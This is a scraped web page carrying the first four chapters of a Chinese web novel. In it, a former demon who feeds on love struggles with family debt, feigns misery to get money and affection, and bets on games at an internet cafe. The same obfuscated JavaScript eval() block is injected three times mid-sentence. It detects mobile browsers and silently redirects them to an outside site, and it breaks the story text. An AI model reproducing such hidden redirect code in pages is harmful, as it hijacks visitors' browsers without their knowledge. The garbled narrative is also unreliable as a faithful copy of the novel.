《我靠男公关走上人生巅峰》 1. 第一章 命运是个神奇的东西。 比方说,我穿越了,从异世界穿越到了人类世界,看着葬礼上来来往往的人群,我虚情假意地感慨: 命运啊,我要*你—— 并非是我素质低下,是因为命运对我不公。 成为人类的第一天,我多了个哥哥,多了对父母。 成为人类的第十年,我那像首充六元赠送的家庭宣告破产。 成为人类的第十八年,也就是现在,我那败家的父母狗带,成功留下巨额债务,让本就不富裕的家庭雪上加霜。 在出事前赌博借高利贷的父母,还不如活着卖掉器官。 此时,我正在葬礼上感慨命运,我的便宜哥哥正在对前来祭拜的人鞠躬,一个劲地说抱歉,一定会还钱什么的。 但我很清楚这钱还不清。 虽然我上辈子是个恶魔,但是现在我是个人类,没有道德、没有财力也没有实力而且还在读书的三无人类,除了光脚不怕穿鞋拼一把外,啥也做不了。 总不能卖·器官吧? 作为好吃懒做、贪婪的恶魔,我表示做不到。 那样很疼的诶。 我又仔细想了想,最好的解决债务的方法是把讨债的杀了。 当我说出这句话时,我的哥哥露出了悲伤的表情,他把我紧紧抱进怀里,眼泪流进我的脖子里,喃喃自语般在我耳边重复道绝对不会这样,我们可以活下去。 穷鬼活着比上世纪的恶魔更差,好歹恶魔有人上供,穷鬼只能捡垃圾。 等前来祭祀的讨债人们离开了,我拿起摆在黑白照片前的苹果,避开虫洞,塞进嘴里咬了一口,“现在菜市场还没关门,得快点去捡点剩菜。” “刚才姨夫送了点肉,我们今天晚上可以吃肉。” 我看了眼塑料袋里的肉,摇摇头:“可是它看起来像坏了。” 哥哥拿起肉仔细看,把鼻子探进去嗅闻,眉头皱在一起,因为最近总是皱眉,眉宇间留下几条皱痕,他把塑料袋裹紧,朝我笑了笑,“没关系,我们去菜市场买点,现在应该有打折的。” 然而当我们来到菜市场时,这里已经关门了,因为市场监管今天巡查,大家都早早关门。 当我们回到家时,又有一个惊喜。 ——家被砸了。 红色油漆喷在墙上,还贴心地写了欠债还钱几个大字,生怕邻居看不到还贴了我们的大头照。 哇哦。我拿起其中一张,这角度我看着很不错啊,便宜哥倒是蠢了点。 丢下“通缉单”,我从废墟里拿出自己的书包,粘上一手红漆,比流动的血还要红,我打开书包,想看作业有没有被撕毁。 结果是它还在。 撒旦啊!讨债的怎么不把学习债给讨走? 我失望地看着手上的红漆,心想着可以弄到作业上,假装自己写了。 就在我思考时,哥哥夺过我手里的包,浑身颤抖,他握住我的手,手心也粘上红漆,眼泪在眼睛里打滚,强撑着不掉下。 今晚睡哪呢? 一公里之内好像有个桥洞,不过在黑·帮管辖范围里,说不定会惹上麻烦。 哥哥拉着我走出公寓楼,我们沿着河走。 晚上河边吹风,路灯没几盏亮起,因为电线被挖走卖钱了,路上黑黝黝的,天空上没有星星,再远一点的地方是有钱人住的地方,亮得像白天。 风吹得我的头发乱飘,我一把抓住,塞进衣服里,又被痒得咯咯笑。 我突然想到头发能换钱,于是对眼睛泛红的哥哥说:“我们去理发店吧,把头发卖了你就可以吃晚饭,我们就可以吃晚饭。” 哥哥、他有个很简单的名字,栾明,很多人会叫他小明,而我叫他哥哥,因为他觉得这样更亲密,每次试着叫小明,他会板着脸,让我不要惹他生气。 他比我高很多,竹竿一样瘦,他脱下外套我穿上,晶莹的泪珠终于掉下,从脸颊流到下巴,牙关咬得绷紧,像被逼到绝境的动物。 以前做恶魔的时候,我会出去狩猎,但现在是人类城市,除了老鼠,我还没在贫民窟看到过其他动物,我思考着要不要杀个人的时候。 “不要卖头发。” 哥哥用手臂擦去眼泪,鼻头泛红,他抽了口气,努力扬起笑容,抬手轻轻抚摸我的头发,“小冬的头发很好看,我们不需要卖。” “就算没有钱,也不能这么做。” 他抱着我,寒风里只有相互贴近才能温暖起来,我将脸埋进他洗得发白的羽绒服里,里面的绒洗得散开,摸起来空荡荡,像蜕皮后留下的壳。 我们在冬天里冷清的街道上瑟瑟发抖,就在我以为可能要迷路的时候,哥哥带我拐进一条巷道。 路很狭窄,地上的杂乱垃圾比家附近的要少。 对了,能不能叫家来着,已经不能回去了吧。 夜深人静只能听到偶尔传来几声猫叫,呼吸吐出寒雾,手脚冰冷发麻,脸颊冷得紧绷。 有些医美技术不如吹点冷风,紧致能力超强。 当哥哥敲响一间紧闭的大门时,我正在思考有钱和没钱的区别。 有钱人住bighouse,没钱人住smallhouse。 哥哥敲的门也是间小房子,我们挪窝后还是穷人,不可能一下子住进大房子,这样的结论让我非常失望,成为人之后我的贪婪更甚,以前做恶魔的时候没有过像样的住所,当人了却想在堆满财宝的地方安家。 难道说穿越的时候,我觉醒了什么龙族基因吗? 我百思不得其解。 敲门半天没有开门,哥哥握住我的手,反复安慰道:“没事的,我们没事的,他可能在睡觉,不用担心,今天我们一定可以好好睡觉。” 连睡觉都不能保证的话,做人也太失败了吧。 我属于随便躺下就能睡觉的类型,所以天桥下也不失为一个选择。 但是哥哥不这么觉得,他总是想法设法让我有他觉得好的东西,也不管我到底要不要,他总说有比没有好。 我觉得他说得对,原来就是他让我变得贪婪的! 比方说,他昨年擅自退学后在家附近找了份活做,因为方便接送我上下学,还可以每个月存一千块钱还钱。 如果上大学的话,就不能还钱了,还会花钱。 他用这种理由搪塞我,并拒绝了我杀掉讨债黑·帮的想法。 哒哒哒。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364172|183846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 耳边传来一阵脚步声,我困倦地抬头望去,看见穿着红色西装制服,但胸部却大大啦啦敞开的青年朝我们走来。 烟酒味率先扑面而来,我动了动鼻子,不动声色地打量他暴露在空气下的皮肤。 现在是冬天,这个人穿得却像是夏天,脖子上挂着金项链,原本应该显得俗气却因为他的颈部线条多了几分诱惑力,我经常在上课的时候阅读小报杂志,所以比较了解他的穿着。 像他的穿着,应该是 ——土。 他困得垂眸搭眼,似乎没有看到我们站在门前,径直来到我面前,迷迷糊糊地往前伸手。 就在他戴着表的手即将碰到我时,哥哥伸手将我揽住,喊道:“浦哥……是我,小明。” “啊?”青年打了个哈欠,下一秒倏地地瞪大眼睛,夸张地后退好几步,难以置信地说:“诶?小明?你、你怎么在这里?” “浦哥……我可以和你单独聊一下吗?” 哥哥松开我的手,离开前安抚道:“我一会儿就回来,不会很久。” 我点点头。 他们离开后,我安静地数着门前地毯上的卡通狗,等数到第三遍时,他们回来了。 哥哥指着摸着后脖颈的青年,对我说:“小冬,这是浦真天,你和我一样叫他浦哥就行。” 我亲切地喊:“浦哥。” “诶。妹妹嘴真甜。” 浦真天笑弯眼,嘴边浮现出酒窝,我看不清他的脸,但是月光下这个酒窝清清楚楚。 他开了门,热情地欢迎我们进屋,拿来两双毛绒拖鞋,殷切地说:“你们就当这是自己家,想做什么都可以,这双粉色的给小妹儿穿吧,小兔子她应该会喜欢。” 他说话的腔调很奇怪,努力想把普通说标准,但总在结尾蹦出几个方言。 我看着灯光下粉得出奇的头发,觉得此人品味非常差劲,红西装配粉头发,怎么看怎么奇怪,不笑的时候还能装酷,但一笑全部暴露了。 像我这种喜欢黑色的恶魔,五颜六色伤眼睛。 他注意到我在看他,傻愣愣地摸着脖子笑,将脖子上的项链和手腕的手表收起,统统丢进桌子抽屉里,等走到客厅等下,我才发现他很黑。 小麦色皮肤显得整个人傻里傻气的。 我在新家巡视一圈,发现许多个毛绒玩具,尤其是沙发上,一只毛绒熊占据三分之一区域,无比显眼。 浦真天推开毛绒熊,又捣鼓一番收受完客厅后开始收拾空房间,这间房有两个单人间,他说自己可以睡沙发,但哥哥好说歹说,让他回自己的房间睡觉,沙发就成为了哥哥的床。 等终于躺在床上时,我的额头被哥哥亲了一口,很久很久之前,当败家父母还是正常人时,他们也会亲我。 我闭上眼睛装作熟睡,等卧室门合上后,复又睁开眼睛,轻飘飘地来到门前。 哥哥在和浦真天讲话。 “妹妹不需要吃饭吗?” “……她说很累,先让她休息吧。” 我摸了摸肚子,咬住空中无形的柠檬味食物。 我可是恶魔。 恶魔不用吃饭。 我吃人类的爱。 2. 第二章 我是一个恶魔。 准确来说是一个靠爱意为食的恶魔,但不是魅魔,魅魔不靠爱意为食。 他们吃OO。 等等好像被屏蔽了。 嘛,懂得都懂。 以前在魔界其他恶魔都对我分类很好奇,因为没有恶魔要靠爱意为食,谁吃那玩意啊,大家都是吃肉吃血吃体·液的硬派,没见过吃爱的。 恶魔不信爱这种东西,天使才爱把爱挂嘴边,上帝天天嚷嚷着爱解放众生,我们此等叛逆怎能听它的话,老东西坏得很,总想借着法子骗我们善良。 但偏偏我呱呱落地就要吃别人的爱。 其他恶魔们最后争论一天得出我大概算是魅魔里的异食癖的结论,但好歹也没把我逐出魔界,我也就死乞白赖地活着。 每天这刮一点爱,那刮一点爱,实在饿得不行偷偷跑去找天使,日子过得还算潇洒。 直到有一天有个恶魔看到我去天使那,看不惯我的作风,他应该认定我是个异类,叽叽歪歪半天,当场发狂把我推进时空洞要将我消灭。 我在时空洞里撞得找不到北,莫名其妙地就来到了人类世界。 以上就是我穿越的全过程。 我从陌生的床上苏醒,眨巴眨巴眼睛,后知后觉坐直身体,看着宽敞不少的卧室,下意识笑出了声,以为自己真成了梦中的富翁。 然而下一秒,我的美梦就碎了。 “小冬。” 便宜哥哥在外面叫我,见我没应声,走到门口敲门,“你醒了吗?” 我垂头丧气地装死,因为今天要上课,而我讨厌上课,撒旦啊,为什么恶魔要上课?! 门口的人停留在原地,我从门缝下看到他的影子一动不动,窸窸窣窣声响后,拨动电话的嘟嘟声响起。 我立马兴奋起来,轻手轻脚地来到门口,耳朵贴在门上偷听。 果不其然,这通电话是打给学校的。 “慕老师好,对,是我,小冬的哥哥,我想给她请一天假……谢谢老师的理解,明天我保证她会回学校。” 嘟。手机挂断。 我开心地打开门,扑进哥哥的怀里,“不用上课太好啦!我爱你!” 只有撒旦知道我有多快乐,上课真不是恶魔上的,怎么会有那么多文字和公式,拜托,我只是个恶魔,只想刷手机腐蚀本来就不怎么灵光的大脑。 我亲了口哥哥,开开心心地拿着手机去沙发上玩,当了人类之后,我最喜欢做的事就是看动漫。 里面有好多特别酷的恶魔。 就在玩得不亦乐乎的时候,哥哥做好饭菜,叮嘱我想吃就放进微波炉里,我点点头,换了个姿势玩手机。 “我大概晚上回来,如果有陌生人来敲门,别开门。” 说完,他就提着包出门,我看了眼,发现他带的是我昨天被泼了漆的书包,表情严肃,也不知要去做什么。 大概是上班吧。 我想着,拿起手机继续玩,时不时弹出的消息被我自动忽略,不用点开都知道,是群里的人在质问我为什么没去学校。 我当然不会分享自己的喜悦,父母去世有正当理由请假,他们就羡慕去吧。 等我再次从手机里抬头,时间已经接近正午,我打了个哈欠,脑子里满是动漫恶魔张狂大笑的模样,忍不住学着她的动作,比着右手瞄准空气。 下一秒,乱七八糟的粉红头发走进我的视野。 迷茫眨着眼睛的浦真天,下意识提起嘴角,酒窝浮现在脸颊上,有些傻气地问:“妹妹不上学吗?” 我放下手,没想到房子的主人还在家,怎么不能出去把这个家留给我们呢。 我暗自咂舌,转头扬起招牌笑容,“我今天请假,浦哥你怎么没去上班啊?” 难不成他是个富二代? 但据我的观察,家里也没什么值钱的东西,最多的就是便宜、批发式的玩偶。 浦真天挠头,佝偻着高大的身躯,躲闪着我的目光,僵硬地转移话题:“还早呢,妹妹中午想吃什么,我给你做。” “我哥做了饭。” 我跟着他来到厨房,看着他在自家的厨房手脚不知道往哪里放。 听到我的话,他懊恼叹气:“明子真是的,客人做什么饭呢。” 可是你中午才醒诶。 我盯着他左转右转,最终局促地走出厨房。 他站在冰箱前踟蹰片刻,回头朝我笑了下,眼睛像湿润的珍珠,让我想到小时候村里那条土狗。 “那我把饭热一下,我们吃饭?” 我点了点头,感觉自己更像是这个家的主人。 我没事干,就靠在墙边看他干活,粉色头发像褪色的草莓泡泡糖,和他小麦色的皮肤一点也不搭。 发根冒出一点黑,隔开枯燥的粉。 以我作为恶魔的审美,他算不上看好,我喜欢黑发黑眼、身材修长的类型,他不禁染了头发,胸部也有点太大了…… 男人在我的盯梢中动作僵硬,时不时就要回过头尴尬地对我笑,越来越像以前村里的小土狗。 等饭热好,他将餐桌收拾整齐,摆上颜色均匀的菜品。 我敷衍地吃饭,只用筷子尝尝咸淡,演技尤其糟糕,让浦真天频频侧目。 终于,他没忍住问出口:“菜不合胃口吗?” 作为恶魔进食人类食物,算是一种折磨,虽然尝得到味,但在进入胃部后会变得沉甸甸,让我很不舒服。 当人类十七年也没练出来演技,我只能睁着眼睛说瞎话:“盐放多了,不好吃。” 浦真天瞪大眼睛,又夹了一筷放进嘴里,看着盘子思考片刻,得出结论:“确实放多了。” 屁,明明刚好。 我胡说八道:“对啊对啊,不好吃没胃口。” “那妹妹想吃什么?” 我摸着空荡荡的胃部,他头上粉色的头发让我想到了草莓棉花糖,不知道他的爱会是什么味道。 来人类世界也不是没有好处,这里的人类拥有充沛的情感,简直就是恶魔天堂。 总之就是:这里人超好der,我超喜欢这里der. 目前来说,我还没有食物危机,学校里有稳定来源,身边还有哥哥。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364173|183846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但谁会嫌多呢? 我撑着脸,对他说:“你会做什么?我想吃你做的。” 浦真天唇角上扬,眼睛变亮,“那好,我来给你做锅包肉,小孩都喜欢吃这个。” 对啊,我是483岁的小孩,加上成为人类的年龄,刚好500岁。 我跟在他身后,像个尾巴一样来到厨房。 说要做拿手好菜的浦真天一下子挺直腰背,手握大锅,炒得舞舞生风。 等我尝到这锅包肉时,他紧紧地盯着我的反应,仿佛能看到身后有尾巴在甩。 我放下筷子:“好吃。” 浦真天欣慰,高兴地说:“那你多吃点。” 我摇头:“太好吃了,要留着以后吃。” 浦真天眼中闪过迷茫,刚想开口说话。 我抬手制止住他的动作,看向他的双眼,语气带上几分卡嗓子的颤抖,这都是从电视里学来的,唯二较好的眼睛。 获得好感的诀窍是卖惨。 有些人类喜欢比他们惨的人,在弱肉强食里,装弱是存活的关键法则,当然也要把握好强和弱的交点。 我假装难过垂下头,叹口气,“我知道家里情况不好,不想连累浦哥,说不定明天我们就会走,父母还活着的是告诉我,一定要学会吃苦,吃够苦就会有甜。” “尝到这份锅包肉,我觉得自己还不配。” “它太甜,我尝的苦配不上他,我害怕今天吃了,明天就在尝不到,这次吃饱还难受。” 我仰头看向他,想从他的眼里寻求赞同,“哥,你知道穷的滋味吗?” 浦真天震惊地愣在原地,半晌后眼中凝聚起水光,握拳在嘴前,好一会儿说不出话。 他哽咽着:“妹儿,我懂!你别怕,有我在不会让你们再苦下去,我能帮就帮,你想在这里住多久就住多久,我永远欢迎你们。” “当年你哥帮了我,我没道理不帮他。” 说着,他突然激动起来,起身走到电视机下的柜子前,鼓捣一阵拿出几张红色钞票,不由分说塞进我手里。 “这些你拿去花,一定要好好读书,别像我一样……一样不争气,一定要跟你哥学习,考个好大学。” 我将钱塞进兜里,没把哥哥主动退学的事告诉他。 卖惨效果好得出奇,我成功在空中尝到了草莓棉花糖的情感。 原来是真的是棉花糖。 我心满意足地舔舐嘴角,继续完成最后一点演技:“谢谢哥,钱我会还你的,你人真好。” 浦真天摸着后脑勺,酒窝绽放在脸颊边,“是吗?” 我正要再美言几句,他的电话突然响起,接起电话说了几句,他立即去房间里换上昨晚上见过的红色西装,戴上金色链子。 “工作那边有急事,妹你想要什么,晚上给你带回来。” “我没什么想要的,蒲哥你去吧,我会在里等你的。” 离开房间前,刚拧开门的浦真天感动地转过头:“我会早点回来的!” 终于走了。 我立马跳上沙发,欢呼一声,开始刷手机。 3. 第三章 直到晚上他们也没回来,我只能放下手机遗憾入睡。 早上起床时才重新见到去而复返的哥哥,外套沾着露水,眼下挂着明显的青黑,仔细闻闻,还有烟酒的气味。 我捕捉到不一样的气味,但分辨不出究竟是什么,于是贴在他身上,仔细地闻,左嗅嗅右闻闻,他收拾东西的时候,我就跟在他身后,势必要搞清楚究竟是什么。 哥哥去厨房做早饭的时候,我站在原地思考了三分钟。 得出一个结论:他可能打了一晚上麻将。 好啊你!出去打麻将不带我!留我一个人在家差点饿成魔干,回来的时候书包还重新变干净,意味着我得回学校。 高利贷的事也不知道解没解决,哥哥紧闭嘴巴不说话,让我别管大人的事,说一定能解决的,把面包塞进我的嘴里,试图堵住我的嘴。 原本我还想再诡辩几句,但哥哥眼下的青黑让我成功闭上嘴,最后苦口婆心地劝他少打点麻将,要打也别通宵。 他点头说好,催促我快点出门,他要送我去校门口。 于是我只好背着书包回学校。 回学校的路上,我忧心憧憧,昨天玩了一整天手机,作业压根没动,但我每道题都写了解,以彰显我的努力。 只求班主任忘记作业这件事。 我磨蹭地踏入教室后门,围坐在后排的朋友们见到我,露出惊喜的表情,扯着我上看下看,明明只是两天不见,却像是发现新奇物种似的。 她们把我夹在中间,质问:“你昨天怎么没来学校,还不回消息你知不知道我们有多担心你?” “家里出事了。” 我放下空荡荡的书包,随便翻了一本放在桌面上,嘴角上挑,得意地说:“不要太羡慕我。” 朋友们:“……” 我随手抓住旁边的潘小谷,“你作业写了吗?给我抄抄。” 但戴着眼镜的女生摆摆手:“老慕说以后不检查了。” 我瞪大眼睛,惊喜道:“真的假的?昨天还说了什么好事?” “也没什么吧。” 坐在我右边的苏音仪忽然唉声叹气,“就说我们现在高三,不要再想着别人来督促自己,他不会再管我们,最后三个月要我们自主学习……哎,昨天我妈还找我谈心,让我好好学习。” “我妈也是。” 三个人齐齐对视在一起,紧接着同时叹气,被夹在中间的我摸不着头脑,心里只有不会检查作业的喜悦之情。 至于高考。 那是什么东西,压根没想过。 “再不学真要进厂打螺丝了,接下来三个月我要全神贯注学习,你们不要再诱惑我出去玩。” 苏音仪突然打鸡血似的甩下豪言壮志,“我要考清华北大!” “实际点吧,我看你家隔壁的那个二本师范学院不错。” “不管了,再不学真要完蛋。” 她匆匆扔下写句话,真就回到自己位置上开始埋头看书,而其余两位也被感染,纷纷离开,一个两个都开始学习。 转眼间我身边一个人不剩,此时我才反应过来教室里安静得可怕,相比于之前总是闹哄哄的模样,仿佛集体静音。 上课铃响起,班主任走进教室,依旧是那副严肃的表情,但说出的话却不像以前那么严厉,带着某种看过大风大浪的沧桑。 “该说的昨天我都说了,学习要靠自己,只要熬过最后三个月,你们想干什么就干什么,提高一分,干掉千人,就算是中专也比没学历好,我就说到这,你们想清楚未来想做什么。” 他说完甩手走人,留下安静得可怕的教室。 我又是一阵意想不到的狂喜,光明正大地倒在桌上开始睡觉,昨天熬夜玩手机,睡意来袭无法抵挡。 等我睡醒,教室里仍然静悄悄,也没人来我身边说闲话,埋头在座位上弓着背看书,一边打哈欠一边给眼皮上风油精。 我终于反应过来,她们是来真的。 一眼望过去座位上生长了很多人形植物,除了上厕所绝不离开座位半步。 而我看着桌面上空白的书本,百思不得其解。 怎么两天不见都转性了,明明两天前还说要一起去逛街,结果今天投身学习大军,彻底变了个人。 这就是高考的魅力吗? 身为活了500年的恶魔,我不懂,不过高考后就能从学校里解放这件事让我很兴奋,再也不用清早爬起来上学,想睡多久就睡多久。 但是朋友们不能来聊天,少了件消磨时间的事。 我百无聊赖地熬过上午,终于等到中午,铃声刚响便迫不及待地冲了出去,三个终于想起我的人在后面喊我,但我甩在脑后。 因为我该吃饭了。 我熟稔地来到顶楼,推开顶楼天台的门,打开门的瞬间,巧克力的气息率先涌入我的鼻腔。 我眯着眼睛,一口吞掉无形的情感,放慢速度慢悠悠来到正在看风景的背影身边,也学着他装逼似地将手臂搭在围栏上。 学校面积不大,往下看去绿葱葱的树挤满道路两旁,像河流式流动着前往食堂吃饭的人类。 旁边的人没有转过头,手先向我递来。 是一个便当盒饭。 我:“你吃吧,我吃过了。” 男生把便当收回去,紧接着又递来几颗糖和数量不一的钞票,我自然地接过,塞进兜里,视线划过他侧脸那块淤青。 又被打了。 身为男友的人类总是身上带伤,我没问过,所以不知道到底是哪来的伤。 当恶魔的时候经常会有打斗,身上出现伤口很正常,但是这件事放在人类身上似乎就不那么寻常,哥哥在看到我受伤时,经常紧张得手忙脚乱,平时街上也不会有人类打架。 他的受伤应该是件值得注意的事,但我舔下了唇角,什么也没说。 关心别人是件累魔的事,尤其是像我这样自私的恶魔。 旁边的人侧过脸,上挑的眼睛向我看来,黑发黑眼,像只黑猫,唇角向下长了一张天生不开心的脸,经常板着脸装酷,此时白净的脸颊上多了块乌青,让人感觉舒服了。 麦景长得挺欠打的。 总是双手插兜走路,看人时轻飘飘的,五官组合在一起攻击性很强。 被打也情有可原,我想。 如果有魔长这样,肯定三天一顿揍。 我有点庆幸自己不长这样,虽然麦景实际上没有在瞧不起人,在我看来他就是一个喜欢装逼的中二男,做出过大冬天到天台只穿一件毛衣,第二天感冒流鼻涕才穿回棉服的事,还非要嘴硬说不冷。 我很难形容他的性格,也很难形容我们关系建立的经过。 成为学生开启后,我有机会接触到更多人类,但因为比较懒惰,而且关押在学校里让魔精神不振,所以刚入学的那段时间里,我的食谱极其混乱,东吃一口西吃一口,很难找到像哥哥那样稳定的情感来源。 那时我才明白不是所有人类都像栾明一样什么也不要。 我所进食的爱是一种抽象的东西,它很容易产生,但也很难维持。 大部分人的情感并不会来得那么强烈,所以一般都是淡淡的,是偶尔能吃一口零食的程度。 但麦景是个不一样的人类,他的情感尤其丰裕,在我毫不知情的情况下,食物就诞生了。 印象中我们没什么交流,偶尔在走廊里擦肩而过,在运动场上视线相交,鲜少说过话,但莫名的,他身上的气息越来越浓,吸引我向他靠近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364174|183846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 我们的日常相处一般都是在天台上,他装逼站在围栏前面,等我来接头,然后再递来一堆他觉得很好的东西。 在天台之外,他就像一道阴郁的影子,沉默地从我身边溜走。 我怀疑他是想维持高冷人设,一开始装逼就停不下来,在我这个恶魔看来,他的行为非常奇怪。 但我的原则是能吃饱就行。 于是我自然的忽略掉他脸上的淤青,开始日常的感情维护。 我牵着他的手,他的皮肤比起哥哥来说相对要细腻一些,在我摸上去的那一刻,他僵在原地,有点想缩回去,但我抓住他的手指。 我熟练地掏出塑料情话:“我很想你,你有没有想我?” “想了。” 麦景回握住我,他故意避开我的视线,想要遮掩住脸上那块淤青,浓密的睫毛震颤,解释道:“昨天不小心摔了一跤。” “那确实很不小心啊。”我发出一声感慨道。 他抿住下唇,抬起牵在一起的手,用脸贴了下我的手背,然后又若无其事地抬头看天空,黑发遮住发红的耳朵。 作为在人类中活了18年的恶魔,我自认为有很成熟的交流糊弄经验,首先,说话要盯着别人的眼睛看,然后,回复要及时,熟练运用太极拳式回复,努力做到不让话掉在地上。 比方说嗯嗯、哦哦、原来如此、哈哈哈厉害…… 这套经验是我从麦景身上总结的,也成功运用在其他人身上,大部分相处时间里,麦景说话我就已读乱回,跟着他一起在天台搞文艺风。 我拉着他的手,百无聊赖的看着天空上漂浮的云朵,饥饿感逐渐消散,整个人懒洋洋的,听着他有一搭没一搭地说这几天的事,时不时糊弄一句。 话从右耳进,左耳出。 没能在我的大脑留下任何痕迹。 等休息时间结束,我果断撒开他的手,顺口道别后,便往门口走去,回头时还能看见他坐在围栏之下,背对着阳光,抿着唇看我。 不知道为什么总觉得他有点委屈,甚至被主人遗弃的小狗,我摇摇头,把脑子里面的比喻抛之脑后。 离开学校,我不会联系麦景,他也不会联系我,就连哥哥也不知道我正在谈恋爱。 我想着今天早上离开时,哥哥憔悴的模样,他说今天晚上也会回来的很晚,让我听浦真天的话,放了学就赶紧回来。 但我另有打算。 兜里揣着从麦景和浦真天那里得来的钱,我乐呵呵地在门口告别朋友们,顺脚就拐进了另一条小巷里,笔直地朝着网吧前进。 上高中后,我迷上了电脑游戏,但碍于家里穷得只能买几百块的手机,网吧是我唯一能够接触电脑的机会。 我走进一家小巷深处的黑网吧里,这间网吧不用验证身份证,因为我偷不出来,所以只能来这家。 门口的前台眼看是我抬手打了个招呼,乐呵呵地说:“来得挺巧,刚收拾好,你就来,还是老样子是吧?宗朔已经在等你了。” 我点点头,往包间的方向走,在靠近的时候先听到了一阵激动的吵闹声,我探过头去,看见一堆人在围成团,氛围热火朝天。 “这把OU绝对赢不了,中路都已经推到高地塔,怎么赢?” “还没结束呢,吵什么吵,你赌了多少钱,不会把家底垫上去了吧?” “就几百块而已,哪有你们多,这里赌得最大是那家伙,他压了整整五万块呢!” 我精准地看向他们口中的那家伙。 高挑挺拔的身影斜靠在墙壁,像颗生长歪扭的树,单手随意划拉着手机,凌乱的前发遮挡住他的脸,听见脚步声他抬起头,仿佛没睡醒似的,眼皮耷拉着。 他说:“哟,好久不见啊。” 4. 第四章 我凑近一看,原本他们是在开设游戏赌局,桌上放着分擂好的钱,好些人围在一起看投影上的比赛。 我问靠墙的男人:“你压的哪边?” 他懒散地随手一指:“右边。” 我了然,掏出从浦真天那得来的几百大洋,告诉坐庄的人:“我要压左边。” “喂,这么不信我?”男人靠了过来,用手压着我的头,端着熟稔的架子,“我可是百分之百成功的赌王。” “你是说绝世非酋吧。” 我挥开他的手,紧盯着屏幕上花里胡哨的大招特效,“抽皮肤保底才能出金的人不许跟我说话。” “等我赢了,你别叫让我请客。” 正在用力压我的贱人是我在网吧里认识的无业游民宗朔,因为经常在打游戏的是大叫出声打扰周围的人,于是网管安排我俩坐一起,防止扰民。 我看他吊儿郎当的样子就来气,因为这家伙虽然颓废地蜷缩在网吧里,却是个实打实的有钱人。 下注五万的就是他。 屏幕上的游戏比赛还在继续,左边队伍持续打团,打得右边毫无还手之力,拆完所有门牙塔开始虐泉,看得下注的人群说不出话来。 完全的碾压局势,也不知道为什么要投右边。 等虐泉快抵达三分钟,我听见头上传来一声咬牙切齿的“够了吧”,宗朔已经失去原本的得意,那五万块已经注定离他远去。 屏幕的队伍也终于良心发现,推掉小兵们艰难拆卸的水晶。 围观者们才开始讲话。 “我靠,嚣张啊,简直不把对面放在眼里。” “早就说了,OU根本赢不了,就算是豪强,也是很久以前的豪强了,现在谁都能来踩他们一脚。” 恼怒的大叔指着桌上的钱愤怒大骂:“那是谁敢下注五万?这不是误导人吗?” “赔率1:6,你回去治治老花眼吧。” 大叔不停地咒骂,势必要把押五万的人找出来,但没人站出来,只有乐呵呵地来领钱的人,他只好摸鼻子离开。 我先排队拿钱,揣着没涨多少的钱回到装鹌鹑的宗朔身边,不由带着赢了一把的傲慢,昂着头看他:“我就说吧,跟你押反的肯定赢。” “那只是因为我想赌一把反着压、以小博大的概率而已!” “哦我懂了。” 宗朔撩起眼皮看我,:“你懂什么了?” “你嘴硬。” 屏幕上比赛结尾,正在进行颁奖仪式,输掉的队伍灰溜溜地离开,获奖的选手握着话筒笑容满脸,旁边的礼仪人员举着一长串零的奖金牌,我从尾数到头,发现足足有六个零。 “个十百千万……这是有十万?!” 我哇了一声,“打游戏好赚钱。” “是一百万。” 宗朔很讨人厌地纠正我的错误,又得意起来,“不过是半决赛的奖金而已,等决赛更多,有五千万。” 我的脑袋里出现更多的零,五千万可以买多少部电脑啊?应该每天都可以躺着玩电脑了吧。 如果天上掉下五千万,我一定可以再也不上学,天天躺在床上耍手机,玩电脑游戏。 这些选手每天打游戏还能赚钱,真爽啊。 我不由开始思考成为电竞选手的可能性,回到包厢时,我幻想着自己站在颁奖台迎接五千万的场景,开机的手速依旧,飞快登上账号进入游戏。 开的第一把,我和宗朔被对面打爆了,等他和队伍里的垃圾辅助喷完,我开口问:“你觉得我有打电竞的天赋吗?” 宗朔:“0-20负作用辅助还敢骂中单,回去你爹就暴毙——什么?” 他转过头摘下耳机,凌乱的前发盖住眼睛,让我很怀疑他到底有没有睁眼打游戏。 “你想打电竞?” 我点头,一脸正色。 宗朔移动鼠标,把战局数据放大,再放大,对准我的1-15-2的超雄数据,尾音上扬:“用这个数据?” 我挠挠脸颊,很是不解,“今天那个上单不和我一样吗?为什么我就不行?” “因为人家那是高端局,我们打把黑铁你就开始畅想打电竞,等上了黄铜你是不是想当冠军。” 我认真地思考,世界冠军奖金应该比国内决赛冠军还多,指不定有多少个零。 如果有这么多钱,我岂不是想要什么就能得到。 “某人还真幻想上了。” 宗朔打断我的幻想,看着屏幕嘀咕着:“辅助还敢加我,怕不是个m,我骂不死你。” 